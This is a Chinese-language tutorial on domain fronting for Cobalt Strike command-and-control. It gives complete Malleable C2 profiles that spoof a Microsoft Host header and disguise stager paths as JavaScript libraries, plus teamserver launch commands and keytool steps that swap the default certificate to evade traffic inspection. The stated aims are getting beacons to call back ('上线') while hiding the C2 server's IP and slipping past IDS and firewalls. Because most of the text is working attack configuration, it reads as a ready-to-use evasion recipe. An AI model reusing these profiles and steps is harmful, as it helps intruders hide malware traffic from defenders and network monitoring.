域前置

简介

域前置(Domain Fronting)被称为域前端网络攻击技术,是一种隐藏连接真实端点来规避互联网审查的技术。这种技术被安全人员多用来隐藏 Metasploit,Cobalt Strike 等团队控制服务器流量, 以此来一定程度绕过检查器或防火墙检测的技术,国内外如:Amazon ,Google,Akamai 等大型厂商都会提供一些域前端技术服务。

域前置技术原理

同一个 IP 可以被不同的域名进行绑定然后进行网站加速,比如现在有两个网站,分别是 www.a.com 和 www.b.com,两个网站都指向同一个IP:123.123.123.123 ,然而这个IP实际上是一个CDN服务器,当浏览器访问 www.a.com 或 www.b.com 的时候怎么保证 访问的目标是正常的是指定的网站内容,这个时候就要在 HTTP 请求包里在 host 头加入访问的域名。 

简单理解:

被攻击机器 -> www.microport.com(走aliyun cdn的域名,根据设定的host头: dns.google.cn找到对应的vps_ip) -> cdn流量转发到vps_ip(c2真实地址)。

实践

环境:cobalt strike 4.2  公网 CentOS

国内可以在鹅厂,某云购买CDN云加速服务,但注意,国内使用CDN云加速服务需要域名进行备案,如果你使用某云的必须购买已备案的域名。

开通CDN服务,加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com,dns.google.com之类的。这里我使用msoffice.microsoft.com 伪造高信誉域名。


设置完成后,过一段时间就会生效。

在超级 ping 测试 cdn 的 ip 是否正常 http://ping.chinaz.com。 

修改CS的域前置配置

修改 C2 的 profile 配置文件。

在https://github.com/xx0hcd/Malleable-C2-Profiles选择合适的profile文件,修改host头为我们准备好的域名。

统一替换里面的设置里面的header “Host”值为自己配置的域名,

设置set trust_x_forwarded_for “true”,转发目标的真实ip。

set sleeptime "3000";set jitter    "30";set maxdns    "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

###HTTP-Config Block###http-config {    set headers "Server, Content-Type";    header "Content-Type" "text/html;charset=UTF-8";    header "Server" "Apache/2.2.22 (Ubuntu)";
    set trust_x_forwarded_for "true";}

http-get {
    set uri "/api/getit";    
    client {        header "Host" "mfoffice.microsoft.com";        header "Accept" "*/*";        header "Connection" "Keep-Alive";        metadata {            base64;            prepend "SESSIONID=";            header "Cookie";        }    }
    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Server" "Apache/2.2.22 (Ubuntu)";        output {            base64;            print;        }    }}

http-stager {      set uri_x86 "/vue.min.js";    set uri_x64 "/bootstrap-2.min.js";
    client {            header "Host" "mfoffice.microsoft.com";        header "Connection" "Keep-Alive";        }      server {                header "Server" "Apache/2.2.22 (Ubuntu)";        header "Keep-Alive" "timeout=5, max=100";        header "Connection" "Keep-Alive";            output {                    print;        }
    }}


http-post {    set uri "/api/postit";        client {        header "Accept" "*/*";        header "Host" "mfoffice.microsoft.com";        id {            base64;            prepend "JSESSION=";            header "Cookie";        }        output {            base64;            print;        }    }     server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Connection" "keep-alive";        output {            base64;            print;        }    }}

在 CentOS 上运行 teamserver 加上配置文件:

sudo ./teamserver x.x.x.x zxczxczxc cdn.profile 

PS: 可以在命令的最前面加个 nohub ,表示不挂断的运行命令,不然 shell 断了 cs 也会连接不上。 

以上命令如果运行报错说明profile文件配置错误了,仔细检查一下。

没有出错的情况下,连接,配置监听器。

选择 payload beacon https, 

https hsots 是某云 cdn 的 ip。

生成后门测试。

上线。

用 Wireshark 进行抓包,走 cdn 节点,流量进行也加密了,C2 服务器的 ip 也隐藏了。 

流量加密混淆

生成证书修改 C2 profile 流量加密混淆 

cobalt strike 是很多红队的首选的攻击神器,同时很多APT团队近几年也都曾使用这个工具进行攻击在,效果显著。导致很多 IDS 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。 

流量加密传输已经成为现在红队的基本素养,生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器。 

生成SSL证书

运行CS的时候,默认使用的证书是 cobaltstrike.store 证书,默认的证书特征很明显,很容易被检测设备识别,我们生成新的证书的意义就是绕过检测设备,使之无法识别出明显的特征。 

Keytool是一个java数据证书的管理工具,Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。

keytool用来管理私钥仓库(keystore)和与之相关的X.509证书链(用以验证与私钥对应的公钥),也可以用来管理其他信任实体。

常用命令:

查看证书文件:            keytool -list -v -keystore xx.store修改证书密码:            keytool -storepasswd -keystore xx.store

查看 cs 的默认cobaltstrike.store:

keytool -list -v -keystore cobaltstrike.store

可以看出默认的特征信息都很明显。

创建新证书

keytool -genkey -alias google.com -keyalg RSA -validity 36500 -keystore cobaltstrike.store
输入之后输入密码:zxczxczxc按照提示一步一步填写最后输入y确定生成证书文件

修改 C2-profile 文件 

set sample_name "C2.profile";set sleeptime "3000";set jitter    "30";set maxdns    "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
#设置证书  https-certificate {    set CN "DS";    set O "DS";    set C "ZG";    set L "BJ";    set OU "DS";    set ST "BJ";    set validity "365";}#设置  code-signer{    set keystore "cobaltstrike.store";    set password "zxczxczxc";    set alias "google.com";}#指定 DNS beacon 不用的时候指定到 IP 地址  set dns_idle "8.8.4.4";#每个单独 DNS 请求前强制睡眠时间  set dns_sleep "0";#通过 DNS 上载数据时主机名的最大长度[0-255]  set maxdns "235";
###HTTP-Config Block###http-config {    set headers "Server, Content-Type";      header "Server" "Apache/2.2.22 (Ubuntu)";
    set trust_x_forwarded_for "true";}

http-get {
    set uri "/api/getit";    
    client {        header "Host" "mfoffice.microsoft.com";        header "Accept" "*/*";        header "Connection" "Keep-Alive";        
        metadata {            base64;            prepend "SESSIONID=";            header "Cookie";        }    }
    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Server" "Apache/2.2.22 (Ubuntu)";        output {            base64;            print;        }           }}

http-stager {      set uri_x86 "/vue.min.js";    set uri_x64 "/bootstrap-2.min.js";
    client {            header "Host" "mfoffice.microsoft.com";        header "Connection" "Keep-Alive";        }
    server {                header "Server" "Apache/2.2.22 (Ubuntu)";        header "Keep-Alive" "timeout=5, max=100";        header "Connection" "Keep-Alive";            output {                    print;        }
    }}


http-post { set uri "/api/postit";        client {        header "Accept" "*/*";        header "Host" "mfoffice.microsoft.com";        id {            base64;            prepend "JSESSION=";            header "Cookie";        }        output {            base64;            print;        }    }
    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Connection" "keep-alive";        output {            base64;            print;        }    }}

执行命令:

./c2lint C2.profile

没有报错,正常运行,如果运行失败,会出现红色。

修改端口

teamserver 默认端口是 50050 ,很明显,需要修改一下。


运行:

./teamserver x.x.x.x zxczxczxc C2.profile

PS:这里有个坑点,CS的证书密码默认是123456 ,如果你新生成的证书的密码不是123456,那么,修改端口的时候,后面的 .ssl.keyStorePassword的值也要修改一下,修改成你设置的密码。

测试

访问https证书生效。

正常上线。

wireshark抓取流量分析,可以看到流量已经走https加密了。